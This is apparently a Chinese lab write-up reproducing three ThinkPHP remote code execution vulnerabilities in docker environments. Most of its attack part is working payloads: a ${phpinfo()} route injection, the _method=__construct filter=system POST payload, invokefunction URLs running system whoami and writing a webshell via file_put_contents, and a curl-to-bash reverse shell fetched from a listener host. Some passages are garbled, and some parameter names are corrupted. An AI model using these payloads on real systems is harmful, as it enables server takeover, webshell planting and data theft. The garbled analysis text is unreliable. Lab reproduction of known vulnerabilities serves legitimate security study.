ThinkPHP(2-rce)任意代码执行漏洞


漏洞详情:

使用了危险函数preg_replace的/e模式匹配路由:

Preg_replace函数执行一个正则表达式的搜索和替换


Preg_replace(mixed $pattern,mixed $replacement,mixed $subject)

Preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)

$pattern:要搜索的模式,可以是一个字符串或者一个字符串数组

$replacement:用于替换的字符串或者字符串数组

$subject:要搜索替换的目标字符串或字符串数组

如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞

这个连接对preg_replace进行了详细的说明:

https://www.php.net/manual/zh/function.preg-replace.php



漏洞复现:

打开环境:

ThinkPHP 代码执行漏洞_php


ThinkPHP 代码执行漏洞_php_02


可以利用在线PHP平台来测试

https://onlinephp.io/

ThinkPHP 代码执行漏洞_数组_03


ThinkPHP 代码执行漏洞_数组_04


7.0以下的版本都存在/e代码执行的漏洞


可以进入到docker容器里查看匹配规则:

ThinkPHP 代码执行漏洞_数组_05


利用exec -it xxx /bin/bash

进入到容器里并使用终端命令


找寻这个函数

find . -name '*.php' | xargs grep -n 'preg_replace'


ThinkPHP 代码执行漏洞_字符串_06


copy出来到一个新文档里,发现存在这样一行:

ThinkPHP 代码执行漏洞_数组_07


这里便是漏洞的关键


做以下分析:

  1. \w匹配中文,下划线,数字,英文 +是匹配一次或无限次
  2. V匹配中间的/
  3. ([^W])[]是定义匹配的范围
    ^在[]内是非的意思
    这里的意思是匹配非[//]的字符
  4. $PathInfo[\'\\1\']="\\2"这里\是转义

转义后$PathInfo['\1']="\2"


  1. 代码可执行的位置只能为值,而非键
  2. 数组v a r 在路径存在模块和动作时, ‘ 会去除掉前 2 个值 ‘ : t h r e e : 而数组 var在路径存在模块和动作时,`会去除掉前2个值` :three:而数组var在路径存在模块和动作时,‘会除掉前2个值‘:three:而数组var来自于$paths =explode($depr,trim($_SERVER['PATH_INFO'],'/')); $var['\1']="\2" 这里双引号引发函数执行,了解为什么${}会执行,在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行


thinkphp路由的格式是分组/模块/操作名/参数

/index.php?s=1/2/3/${phpinfo()}

123随意构造

ThinkPHP 代码执行漏洞_数组_08


构造一句话木马连接webshell

ThinkPHP 代码执行漏洞_php_09

ThinkPHP 代码执行漏洞_php_10

修复建议:

更新至最新版本

5.0.23-RCE

漏洞概述:

在获取

漏洞危害:

可通过该漏洞获取网站的控制权限,可修改页面,导致数据泄露等问题

漏洞利用:

先利用Bp抓包

ThinkPHP 代码执行漏洞_数组_11


修改请求方式

ThinkPHP 代码执行漏洞_字符串_12

使用POC进行攻击:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls


ThinkPHP 代码执行漏洞_数组_13


这里可以反弹shell

先写好反弹shell到sheel.sh里

可利用该URL

https://forum.ywhack.com/shell.php构造bash命令


ThinkPHP 代码执行漏洞_数组_14


ThinkPHP 代码执行漏洞_字符串_15



开启http服务以及监听8888端口

ThinkPHP 代码执行漏洞_php_16


ThinkPHP 代码执行漏洞_字符串_17


进行执行:

curl 192.168.170.130:9999/shell.sh | bash

ThinkPHP 代码执行漏洞_php_18


ThinkPHP 代码执行漏洞_数组_19


成功反弹shell

ThinkPHP 代码执行漏洞_字符串_20


RCE-5

漏洞原理:

在版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞。

影响版本:

5.0.22/5.1.29

漏洞利用:

打开环境:

ThinkPHP 代码执行漏洞_数组_21


ThinkPHP 代码执行漏洞_php_22


POC利用

?s=/Index/\think\app/invokefunction&functinotallow=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27l


ThinkPHP 代码执行漏洞_字符串_23


/index.php?s=index/think\app/invokefunction&functinotallow=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 代码执行漏洞_字符串_24



这里构造POC连接webshell


/index.php?s=/index/\think\app/invokefunction&functinotallow=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码

ThinkPHP 代码执行漏洞_php_25



ThinkPHP 代码执行漏洞_字符串_26


写入后应当显示这个界面,去docker看看是否写入

ThinkPHP 代码执行漏洞_数组_27


antsword连接

ThinkPHP 代码执行漏洞_php_28


修复建议:

更新至最新版本